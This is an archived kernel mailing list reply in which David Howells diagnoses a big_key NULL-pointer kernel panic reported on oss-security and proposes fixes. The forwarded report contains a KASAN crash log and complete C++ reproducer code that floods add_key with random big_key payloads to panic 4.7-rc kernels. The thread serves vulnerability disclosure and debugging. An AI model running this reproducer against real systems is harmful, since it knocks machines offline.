| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <4897.1469573113@warthog.procyon.org.uk>
Date: Tue, 26 Jul 2016 23:45:13 +0100
From: David Howells <dhowells@...hat.com>
To: Greg KH <gregkh@...uxfoundation.org>,
Kirill Marinushkin <k.marinushkin@...il.com>
Cc: dhowells@...hat.com, James Morris <james.l.morris@...cle.com>,
"Serge E. Hallyn" <serge@...lyn.com>, zer0mem@...oo.com,
keyrings@...r.kernel.org, linux-security-module@...r.kernel.org,
linux-kernel@...r.kernel.org
Subject: Re: [zer0mem@...oo.com: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master]
Greg KH <gregkh@...uxfoundation.org> wrote:
> David, here's a bug report with reproducer that was sent to the
> oss-security mailing list for some unknown reason earlier today.
>
> Any ideas?
I think may have figured it out: big_key_crypto_init() may fail even though
big_key_init() succeeds (and also vice versa). The problem with this is that
big_key_rng and big_key_blkcipher are left set to NULL, but the big_key type
is still registered and there are no checks in the big_key crypto code for
this.
I can't say for certain that this is that actual cause as I haven't managed to
reproduce it, but the insertion of a pr_err() or a panic() in
big_key_crypto_init()'s error path should catch it if this is the case.
Possibly the crypto layer did print a message about missing crypto that can be
found amongst the kernel output.
Kirill: We should definitely print an error on failure during init. How we
proceed after that can be argued a couple of different ways. We could
deregister the key type, but it might be better to call big_key_crypto_init()
from big_key_init() before registering the type and make all the
initialisation to late_initcall. This shouldn't be a problem as I don't
forsee us needing to create big_key type keys from within the kernel.
Is it also possible there's some crypto component we need beyond AES, ECB and
RNG?
David
> thanks,
>
> greg k-h
>
>
> ------- Forwarded Message
>
> Date: Fri, 22 Jul 2016 22:54:09 +0800
> From: zer0mem@...oo.com
> To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
> Cc: "cve-assign@...re.org" <cve-assign@...re.org>, Marco Grassi <marco.gra@...il.com>
> Subject: [oss-security] panic at big_key_preparse #4.7-r6/rc7 & master
>
> Hi,
>
> Following code will panic 4.7-rc6/rc7 & master
>
> However will not panic at latest stable 4.6.4 kernel apparently
>
>
> qemu + kasan
>
>
> /*
>
> author : @zer0mem
>
> Qilin : v3.2 [ linux ]
> Reproducer : v1.0
>
> KASAN : active
> KTSAN : non-active
>
> Linux Kernel version : 4.7
>
> compile : clang++-3.8 -std=c++1y poc.cpp -lpthread -o big_key_poc
>
> issue : add_key -> "big_key"
>
> [94011.624218] kasan: CONFIG_KASAN_INLINE enabled
> [94011.624507] kasan: GPF could be caused by NULL-ptr deref or user memory access
> [94011.624930] general protection fault: 0000 [#1] SMP KASAN
> [94011.625234] Modules linked in:
> [94011.625421] CPU: 0 PID: 13245 Comm: a.out Tainted: G B 4.7.0-rc6+ #9
> [94011.625837] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
> [94011.626363] task: ffff880013b1d580 ti: ffff8800693d8000 task.ti: ffff8800693d8000
> [94011.626778] RIP: 0010:[<ffffffff819e6e64>] [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.627262] RSP: 0018:ffff8800693dfc90 EFLAGS: 00010206
> [94011.627559] RAX: dffffc0000000000 RBX: ffff8800693dfdc8 RCX: 0000000000000000
> [94011.627956] RDX: 0000000000000009 RSI: 0000000000000000 RDI: 0000000000000048
> [94011.628356] RBP: ffff8800693dfcc8 R08: ffffed000d27bfc2 R09: ffff8800693dfdc8
> [94011.628752] R10: ffff8800693dfe0f R11: ffffed000d27bfc2 R12: 0000000000000000
> [94011.629149] R13: 0000000000000f50 R14: ffff8800693dfe48 R15: ffff8800693dfdf0
> [94011.629547] FS: 00007faf577fe700(0000) GS:ffff88006d200000(0000) knlGS:0000000000000000
> [94011.629994] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [94011.630361] CR2: 0000000000609000 CR3: 000000006a9bd000 CR4: 00000000000006f0
> [94011.630812] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
> [94011.631223] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
> [94011.631633] Stack:
> [94011.631755] ffff8800693dfdc8 0000000000000048 ffffffff819e6cc0 1ffff1000d27bfa5
> [94011.632349] ffffffffffffffec ffff8800693dfe48 ffff88005098b400 ffff8800693dfe70
> [94011.633063] ffffffff819d5a81 0000000000000004 ffff8800693dfd30 ffff8800693dfdc8
> [94011.633550] Call Trace:
> [94011.633702] [<ffffffff819e6cc0>] ? big_key_crypt+0x2a0/0x2a0
> [94011.634034] [<ffffffff819d5a81>] key_create_or_update+0x361/0xa00
> [94011.634389] [<ffffffff819d5720>] ? key_type_lookup+0xe0/0xe0
> [94011.634719] [<ffffffff815c3609>] ? ___slab_alloc+0x179/0x4c0
> [94011.635050] [<ffffffff815c5643>] ? __kmalloc+0x103/0x250
> [94011.635360] [<ffffffff819da6e4>] SyS_add_key+0x1f4/0x390
> [94011.635671] [<ffffffff819da4f0>] ? key_get_type_from_user.constprop.8+0xe0/0xe0
> [94011.636106] [<ffffffff81083d40>] ? compat_start_thread+0x90/0x90
> [94011.636457] [<ffffffff82d36af6>] entry_SYSCALL_64_fastpath+0x1e/0xa8
> [94011.636823] Code: 5c 41 5d 41 5e 41 5f 5d c3 e8 89 f1 98 ff 4c 8b 25 32 cb 47 02 48 b8 00 00 00 00 00 fc ff df 49 8d 7c 24 48 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 03 00 00 4d 8b 64 24 48 48 b8 00 00 00 00
> [94011.638412] RIP [<ffffffff819e6e64>] big_key_preparse+0x1a4/0x540
> [94011.638775] RSP <ffff8800693dfc90>
> [94011.639205] ---[ end trace 0255e2496c208fbf ]---
> [94011.639474] Kernel panic - not syncing: Fatal exception
> [94011.639855] Kernel Offset: disabled
> [94011.640066] ---[ end Kernel panic - not syncing: Fatal exception
>
> */
>
> #include <stdint.h>
>
> #include <memory>
> #include <algorithm>
> #include <functional>
> #include <string>
> #include <atomic>
> #include <stdlib.h>
> #include <vector>
> #include <stdlib.h>
> #include <stdio.h>
>
> #include <thread>
>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <unistd.h>
> #include <pthread.h>
> #include <sched.h>
> #include <signal.h>
> #include <fcntl.h>
>
> #include <keyutils.h>
>
> int handles[0x10] = { 0 };
> char buffer[0x1000] = { 0 };
>
> bool rand01() { return std::rand() % 2; }
>
> void shaka()
> {
> for (size_t i = 0; i < sizeof(buffer); ++i)
> buffer[i] = std::rand() % 0xFF;
>
> while (true)
> {
> for (size_t i = std::rand() % sizeof(buffer); i < sizeof(buffer); ++i)
> buffer[i] = std::rand() % 0xFF;
>
> sleep(std::rand() % 10);
> }
> }
>
> void workers(int fd)
> {
> size_t max_round = 40 + std::rand() % 200;
> for (size_t i = 0; i < max_round; i++)
> {
> switch(std::rand() % 1)
> {
> case 0 :
> {
> add_key(
> rand01() ? "user" : "big_key",
> 0,
> buffer,
> std::rand() % sizeof(buffer),
> handles[std::rand() % 0x10]);
>
> } break;
>
> default:
> break;
> }
> }
> }
>
> void ctors(int ind)
> {
> handles[ind] = 0;
> while (!handles[ind])
> {
> switch(std::rand() % 1)
> {
> case 0 :
> {
> handles[ind] = add_key(
> rand01() ? "user" : "big_key",
> 0,
> buffer,
> std::rand() % sizeof(buffer),
> handles[std::rand() % 0x10]);
> } break;
>
> default:
> break;
> }
> }
> int fd = handles[ind];
> for (size_t i = 0; i < 20; ++i, sleep(1 + std::rand() % 4))
> for (size_t j = std::rand() % 4; j; --j)
> workers(fd);
> }
>
> int main()
> {
> std::thread(shaka).detach();
> for (;; sleep(std::rand() % 4))
> std::thread([]()
> {
> for (size_t i = 0; i < 0x10; ++i)
> std::thread(ctors, i).detach();
> }).detach();
>
> return 0;
> };
>
> #include <asm/unistd.h>
>
> #define __weak __attribute__((weak))
>
> key_serial_t __weak add_key(const char *type,
> const char *description,
> const void *payload,
> size_t plen,
> key_serial_t ringid)
> {
> return syscall(__NR_add_key,
> type, description, payload, plen, ringid);
> }
>
>
>
> Peter
>
> Sent from Mail for Windows 10
Powered by blists - more mailing lists